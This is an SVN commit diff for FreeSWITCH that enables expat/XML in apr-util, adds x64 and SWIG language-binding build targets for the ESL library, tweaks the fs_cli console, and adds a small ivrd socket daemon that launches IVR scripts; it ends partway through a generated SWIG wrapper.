-HEADERS = $(top_srcdir)/include/apr_optional.h $(top_srcdir)/include/apu_version.h $(top_srcdir)/include/apr_strmatch.h $(top_srcdir)/include/apr_optional_hooks.h $(top_srcdir)/include/apr_sdbm.h $(top_srcdir)/include/apr_md4.h $(top_srcdir)/include/apr_reslist.h $(top_srcdir)/include/apr_base64.h $(top_srcdir)/include/apr_anylock.h $(top_srcdir)/include/apr_rmm.h $(top_srcdir)/include/apr_md5.h $(top_srcdir)/include/apr_date.h $(top_srcdir)/include/apr_hooks.h $(top_srcdir)/include/apr_xlate.h $(top_srcdir)/include/apr_queue.h $(top_srcdir)/include/apr_uri.h $(top_srcdir)/include/apr_uuid.h $(top_srcdir)/include/apr_sha1.h
+HEADERS = $(top_srcdir)/include/apr_optional.h $(top_srcdir)/include/apu_version.h $(top_srcdir)/include/apr_strmatch.h $(top_srcdir)/include/apr_optional_hooks.h $(top_srcdir)/include/apr_sdbm.h $(top_srcdir)/include/apr_md4.h $(top_srcdir)/include/apr_reslist.h $(top_srcdir)/include/apr_base64.h $(top_srcdir)/include/apr_xml.h $(top_srcdir)/include/apr_anylock.h $(top_srcdir)/include/apr_rmm.h $(top_srcdir)/include/apr_md5.h $(top_srcdir)/include/apr_date.h $(top_srcdir)/include/apr_hooks.h $(top_srcdir)/include/apr_xlate.h $(top_srcdir)/include/apr_queue.h $(top_srcdir)/include/apr_uri.h $(top_srcdir)/include/apr_uuid.h $(top_srcdir)/include/apr_sha1.h
 
-SOURCE_DIRS = encoding hooks misc crypto uri strmatch xlate $(EXTRA_SOURCE_DIRS)
+SOURCE_DIRS = xml encoding hooks misc crypto uri strmatch xlate $(EXTRA_SOURCE_DIRS)
 
-BUILD_DIRS = crypto encoding hooks misc strmatch uri xlate
+BUILD_DIRS = crypto encoding hooks misc strmatch uri xlate xml
 
 .make.dirs: $(srcdir)/build-outputs.mk
 	@for d in $(BUILD_DIRS); do test -d $$d || mkdir $$d; done

Modified: freeswitch/branches/seven/libs/apr-util/build.conf (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/build.conf	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/build.conf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,10 +15,10 @@
   ldap/*.c
   misc/*.c
   uri/apr_uri.c
+  xml/*.c
   strmatch/*.c
   xlate/*.c
   dbd/*.c
-#  xml/*.c
 
 # we have no platform-specific subdirs
 platform_dirs =

Modified: freeswitch/branches/seven/libs/apr-util/configure.gnu (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/configure.gnu	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,3 @@
 #! /bin/sh
-./configure "$@" --with-apr=../apr --disable-shared --with-pic --without-sqlite2 --without-sqlite3
+./configure "$@" --with-apr=../apr --disable-shared --with-pic --without-sqlite2 --without-sqlite3 --with-expat=builtin
 

Modified: freeswitch/branches/seven/libs/apr-util/configure.in (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/configure.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/configure.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -122,7 +122,7 @@
 APU_CHECK_DBD_MYSQL
 APU_CHECK_DBD_SQLITE3
 APU_CHECK_DBD_SQLITE2
-#APU_FIND_EXPAT
+APU_FIND_EXPAT
 APU_FIND_ICONV
 
 AC_SEARCH_LIBS(crypt, crypt ufc)

Modified: freeswitch/branches/seven/libs/apr-util/xml/expat/buildconf.sh (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/xml/expat/buildconf.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/xml/expat/buildconf.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -58,6 +58,8 @@
 ${AUTOHEADER:-autoheader} 2>&1 | grep -v "$cross_compile_warning"
 
 echo "Creating configure ..."
+${ACLOCAL:-aclocal}
+
 ### do some work to toss config.cache?
 ${AUTOCONF:-autoconf} 2>&1 | grep -v "$cross_compile_warning"
 

Property changes: freeswitch/branches/seven/libs/curl


Name: svn:ignore
   - autom4te.cache
Makefile.in
configure
config.log
.complete
libcurl.pc
config.status
libtool
curl-config
Makefile
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
docs
tests
   + autom4te.cache
Makefile.in
configure
config.log
.complete
libcurl.pc
config.status
libtool
curl-config
Makefile
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
docs
tests
configure.lineno

Deleted: freeswitch/branches/seven/libs/curl/mkinstalldirs

Property changes: freeswitch/branches/seven/libs/esl


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
fs_cli
testserver
testclient
x64

Copied: freeswitch/branches/seven/libs/esl/ESL.i (from rev 14471, freeswitch/trunk/libs/esl/ESL.i) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ESL.i	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ESL.i	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+%{
+#include "esl.h"
+#include "esl_oop.h"
+%}
+
+%newobject ESLconnection::sendRecv;
+%newobject ESLconnection::api;
+%newobject ESLconnection::bgapi;
+%newobject ESLconnection::getInfo;
+%newobject ESLconnection::filter;
+%newobject ESLconnection::recvEvent;
+%newobject ESLconnection::recvEventTimed;
+
+%include "esl_oop.h"

Modified: freeswitch/branches/seven/libs/esl/Makefile (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,16 +1,22 @@
-INCS=-Isrc/include
+PWD=$(shell pwd)
+INCS=-I$(PWD)/src/include
 LIBEDIT_DIR=../../libs/libedit
 DEBUG=-g -ggdb
+BASE_FLAGS=$(INCS) -DHAVE_EDITLINE $(DEBUG) -I$(LIBEDIT_DIR)/src/ -fPIC
 PICKY=-O2 -ffast-math -Wall -Werror -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS=$(INCS) -DHAVE_EDITLINE $(DEBUG) -I$(LIBEDIT_DIR)/src/ $(PICKY)
+CFLAGS=$(BASE_FLAGS) $(PICKY)
+CXXFLAGS=$(BASE_FLAGS) -Wall -Werror -Wno-unused-variable
 MYLIB=libesl.a
 LIBS=-lncurses -lpthread -lesl
 LDFLAGS=-L.
 OBJS=src/esl.o src/esl_event.o src/esl_threadmutex.o src/esl_config.o
-SRC=src/esl.c src/esl_event.c src/esl_threadmutex.c src/esl_config.c
-HEADERS=src/include/esl_config.h src/include/esl_event.h src/include/esl.h src/include/esl_threadmutex.h
+SRC=src/esl.c src/esl_event.c src/esl_threadmutex.c src/esl_config.c src/esl_oop.cpp
+HEADERS=src/include/esl_config.h src/include/esl_event.h src/include/esl.h src/include/esl_threadmutex.h src/include/esl_oop.h
+SOLINK=-shared -Xlinker -x
+# comment the next line to disable c++ (no swig mods for you then)
+OBJS += src/esl_oop.o
 
-all: $(MYLIB) fs_cli testclient testserver
+all: $(MYLIB) fs_cli testclient testserver ivrd
 
 $(MYLIB): $(OBJS) $(HEADERS) $(SRC)
 	ar rcs $(MYLIB) $(OBJS)
@@ -19,6 +25,9 @@
 testserver: $(MYLIB) testserver.c
 	$(CC) $(CC_CFLAGS) $(CFLAGS) testserver.c -o testserver $(LDFLAGS) $(LIBS)
 
+ivrd: $(MYLIB) ivrd.c
+	$(CC) $(CC_CFLAGS) $(CFLAGS) ivrd.c -o ivrd $(LDFLAGS) $(LIBS)
+
 testclient: $(MYLIB) testclient.c
 	$(CC) $(CC_CFLAGS) $(CFLAGS) testclient.c -o testclient $(LDFLAGS) $(LIBS)
 
@@ -28,6 +37,53 @@
 %.o: %.c
 	$(CC) $(CC_CFLAGS) $(CFLAGS) -c $< -o $@
 
+%.o: %.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) -c $< -o $@
+
 clean:
-	rm -f *.o src/*.o testclient testserver fs_cli libesl.a *~ src/*~ src/include/*~
+	rm -f *.o src/*.o testclient testserver ivrd fs_cli libesl.a *~ src/*~ src/include/*~
+	$(MAKE) -C perl clean
+	$(MAKE) -C php clean
+	$(MAKE) -C lua clean
+	$(MAKE) -C python clean
+	$(MAKE) -C ruby clean
+	$(MAKE) -C java clean
 
+reswig:	swigclean
+	$(MAKE) -C perl reswig
+	$(MAKE) -C php reswig
+	$(MAKE) -C lua reswig
+	$(MAKE) -C python reswig
+	$(MAKE) -C ruby reswig
+	$(MAKE) -C java reswig
+
+swigclean: clean
+	$(MAKE) -C perl swigclean
+	$(MAKE) -C php swigclean
+	$(MAKE) -C lua swigclean
+	$(MAKE) -C python swigclean
+	$(MAKE) -C ruby swigclean
+	$(MAKE) -C java swigclean
+
+perlmod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C perl
+
+phpmod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C php 
+
+luamod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C lua
+
+pymod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C python
+
+rubymod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C ruby
+
+javamod: $(MYLIB)
+	$(MAKE) MYLIB="../$(MYLIB)" SOLINK="$(SOLINK)" CFLAGS="$(CFLAGS)" CXXFLAGS="$(CXXFLAGS)" CXX_CFLAGS="$(CXX_CFLAGS)" -C java
+
+phpmod-install: phpmod
+	$(MAKE) -C php install
+
+everymod: perlmod phpmod luamod pymod rubymod javamod

Modified: freeswitch/branches/seven/libs/esl/fs_cli.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/fs_cli.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/fs_cli.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -72,7 +75,7 @@
 				GenerateDebugInformation="true"
 				ProgramDatabaseFile="$(OutDir)/fs_cli.pdb"
 				SubSystem="1"
-				RandomizedBaseAddress="1"
+				RandomizedBaseAddress="2"
 				DataExecutionPrevention="0"
 				TargetMachine="1"
 			/>
@@ -99,6 +102,88 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)getopt&quot;;&quot;$(ProjectDir)src/include&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;ESL_DECLARE_STATIC"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;6053;4706"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Ws2_32.lib"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="$(OutDir)"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/fs_cli.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="2"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -152,7 +237,7 @@
 				SubSystem="1"
 				OptimizeReferences="2"
 				EnableCOMDATFolding="2"
-				RandomizedBaseAddress="1"
+				RandomizedBaseAddress="2"
 				DataExecutionPrevention="0"
 				TargetMachine="1"
 			/>
@@ -178,6 +263,86 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(ProjectDir)getopt&quot;;&quot;$(ProjectDir)src/include&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_DEPRECATE;ESL_DECLARE_STATIC"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				WarnAsError="true"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;6053;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="Ws2_32.lib"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories="$(OutDir)"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/fs_cli.pdb"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="2"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/esl/fs_cli.c (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/fs_cli.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/fs_cli.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -138,6 +138,24 @@
 	return console_fnkey_pressed(12);
 }
 
+static unsigned char console_eofkey(EditLine * el, int ch)
+{
+	LineInfo *line;
+	/* only exit if empty line */
+	line = (LineInfo *)el_line(el);
+	if (line->buffer == line->lastchar) {
+		printf("/exit\n\n");
+		running = thread_running = 0;
+		return CC_EOF;
+	} else {
+		if (line->cursor != line->lastchar) {
+			line->cursor++;
+			el_deletestr(el, 1);
+		}
+		return CC_REDISPLAY;
+	}
+}
+
 #endif
 
 static void handle_SIGINT(int sig)
@@ -146,6 +164,11 @@
 	return;
 }
 
+static void handle_SIGQUIT(int sig)
+{
+	fprintf(stdout, "Caught SIGQUIT\n");
+	return;
+}
 
 #ifdef WIN32
 static HANDLE hStdout;
@@ -164,10 +187,10 @@
 	printf("  -?,-h --help                    Usage Information\n");
 	printf("  -H, --host=hostname             Host to connect\n");
 	printf("  -P, --port=port                 Port to connect (1 - 65535)\n");
-	printf("  -p, --password=FILENAME         Password\n");
+	printf("  -p, --password=password         Password\n");
 	printf("  -x, --execute=command           Execute Command and Exit\n");
 	printf("  -l, --loglevel=command          Log Level\n");
-	printf("  -q, --quiet			          Disable logging\n");
+	printf("  -q, --quiet                     Disable logging\n");
 	printf("  -d, --debug=level               Debug Level (0 - 7)\n\n");
 	return 1;
 }
@@ -180,8 +203,7 @@
 	thread_running = 1;
 
 	while(thread_running && handle->connected) {
-		esl_status_t status = esl_recv_timed(handle, 10);
-		
+		esl_status_t status = esl_recv_event_timed(handle, 10, 1, NULL);
 		if (status == ESL_FAIL) {
 			esl_log(ESL_LOG_WARNING, "Disconnected.\n");
 			running = thread_running = 0;
@@ -227,7 +249,11 @@
 				}
 				
 				if (!known) {
-					printf("INCOMING DATA [%s]\n%s", type, handle->last_event->body);
+					char *foo;
+					printf("INCOMING DATA [%s]\n%s\n", type, handle->last_event->body ? handle->last_event->body : "");
+					esl_event_serialize(handle->last_event, &foo, ESL_FALSE);
+					printf("RECV EVENT\n%s\n", foo);
+					free(foo);
 				}
 			}
 		}
@@ -379,7 +405,8 @@
 			"* FreeSWITCH (http://www.freeswitch.org)            *\n"
 			"* Brought to you by ClueCon http://www.cluecon.com/ *\n"
 			"*****************************************************\n"
-			"\n\n"
+			"\n"
+                        "Type /help <enter> to see a list of commands\n\n\n"
 			);
 }
 
@@ -462,7 +489,9 @@
 	}
 	
 	signal(SIGINT, handle_SIGINT);
-
+#ifdef SIGQUIT
+	signal(SIGQUIT, handle_SIGQUIT);
+#endif
 	esl_global_set_default_logger(6); /* default debug level to 6 (info) */
 	
 	for(;;) {
@@ -619,7 +648,7 @@
 	}
 
 	if (esl_connect(&handle, profile->host, profile->port, profile->pass)) {
-		esl_global_set_default_logger(3);
+		esl_global_set_default_logger(7);
 		esl_log(ESL_LOG_ERROR, "Error Connecting [%s]\n", handle.err);
 		return -1;
 	}
@@ -659,6 +688,8 @@
 	el_set(el, EL_ADDFN, "f11-key", "F11 KEY PRESS", console_f11key);
 	el_set(el, EL_ADDFN, "f12-key", "F12 KEY PRESS", console_f12key);
 
+	el_set(el, EL_ADDFN, "EOF-key", "EOF (^D) KEY PRESS", console_eofkey);
+
 	el_set(el, EL_BIND, "\033OP", "f1-key", NULL);
 	el_set(el, EL_BIND, "\033OQ", "f2-key", NULL);
 	el_set(el, EL_BIND, "\033OR", "f3-key", NULL);
@@ -678,6 +709,7 @@
 	el_set(el, EL_BIND, "\033[23~", "f11-key", NULL);
 	el_set(el, EL_BIND, "\033[24~", "f12-key", NULL);
 
+	el_set(el, EL_BIND, "\004", "EOF-key", NULL);
 
 	if (myhistory == 0) {
 		esl_log(ESL_LOG_ERROR, "history could not be initialized\n");
@@ -688,6 +720,7 @@
 	el_set(el, EL_HIST, history, myhistory);
 	history(myhistory, &ev, H_LOAD, hfile);
 
+	el_source(el, NULL);
 
 #endif
 #ifdef WIN32
@@ -705,6 +738,7 @@
 	print_banner(stdout);
 
 	esl_log(ESL_LOG_INFO, "FS CLI Ready.\nenter /help for a list of commands.\n");
+	printf("%s\n", handle.last_sr_reply);
 
 	while (running) {
 

Copied: freeswitch/branches/seven/libs/esl/ivrd.c (from rev 14471, freeswitch/trunk/libs/esl/ivrd.c) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/ivrd.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/ivrd.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2009, Anthony Minessale II
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 
+ * * Neither the name of the original author; nor the names of any contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ * 
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER
+ * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <esl.h>
+
+
+static void mycallback(esl_socket_t server_sock, esl_socket_t client_sock, struct sockaddr_in *addr)
+{
+	esl_handle_t handle = {{0}};
+	char path_buffer[1024] = { 0 };
+	const char *path;
+	
+	if (fork()) {
+		close(client_sock);
+		return;
+	}
+	
+
+	esl_attach_handle(&handle, client_sock, addr);
+
+	if (!(path = esl_event_get_header(handle.info_event, "variable_ivr_path"))) {
+		esl_disconnect(&handle);
+		esl_log(ESL_LOG_ERROR, "Missing ivr_path param!\n");
+		exit(0);
+	}
+
+	strncpy(path_buffer, path, sizeof(path_buffer) - 1);
+	
+	/* hotwire the socket to STDIN/STDOUT */
+	dup2(client_sock, STDIN_FILENO);
+	dup2(client_sock, STDOUT_FILENO);
+
+	/* close the handle but leak the socket on purpose cos the child will need it open */
+	handle.sock = -1;
+	esl_disconnect(&handle);
+	
+	execl(path_buffer, path_buffer, NULL);
+	//system(path_buffer);
+	close(client_sock);
+	exit(0);
+}
+
+int main(int argc, char *argv[])
+{
+	int i;
+	char *ip = NULL;
+	int port = 0;
+	
+	for (i = 1; i + 1 < argc; ) {
+		if (!strcasecmp(argv[i], "-h")) {
+			ip = argv[++i];
+		} else if (!strcasecmp(argv[i], "-p")) {
+			port = atoi(argv[++i]);
+		} else {
+			i++;
+		}
+	}
+
+	if (!(ip && port)) {
+		fprintf(stderr, "Usage %s -h <host> -p <port>\n", argv[0]);
+		return -1;
+	}
+
+	signal(SIGCHLD, SIG_IGN);
+
+	esl_listen(ip, port, mycallback);
+	
+	return 0;
+}

Copied: freeswitch/branches/seven/libs/esl/java (from rev 14471, freeswitch/trunk/libs/esl/java)

Deleted: freeswitch/branches/seven/libs/esl/java/Makefile

Copied: freeswitch/branches/seven/libs/esl/java/Makefile (from rev 14471, freeswitch/trunk/libs/esl/java/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+LOCAL_CFLAGS=-I../src/include -I/usr/java/jdk1.6.0_14/include -I/usr/java/jdk1.6.0_14/include/linux
+GCC_WARNING_JUNK=-w
+CLASSES=org/freeswitch/esl/*
+
+all: esl.jar
+
+esl_wrap.cpp:
+	swig -module esl -java -c++ $(LOCAL_CFLAGS) -package org.freeswitch.esl -outdir org/freeswitch/esl -o esl_wrap.cpp ../ESL.i
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(LOCAL_CFLAGS) $(CXXFLAGS) $(GCC_WARNING_JUNK) $(PERL_INC) -c esl_wrap.cpp -o esl_wrap.o
+
+esl.jar: esl_wrap.o
+	mkdir -p classes
+	javac -sourcepath org -d classes $(CLASSES)
+	jar cf esl.jar -C classes org
+
+clean:
+	rm -f *.o *.so *~ *.jar
+
+swigclean:
+	rm -f esl_wrap.* 
+
+reswig:	swigclean esl_wrap.cpp
+

Copied: freeswitch/branches/seven/libs/esl/java/classes (from rev 14471, freeswitch/trunk/libs/esl/java/classes)

Deleted: freeswitch/branches/seven/libs/esl/java/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/java/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/java/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/java/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/java/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1034 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
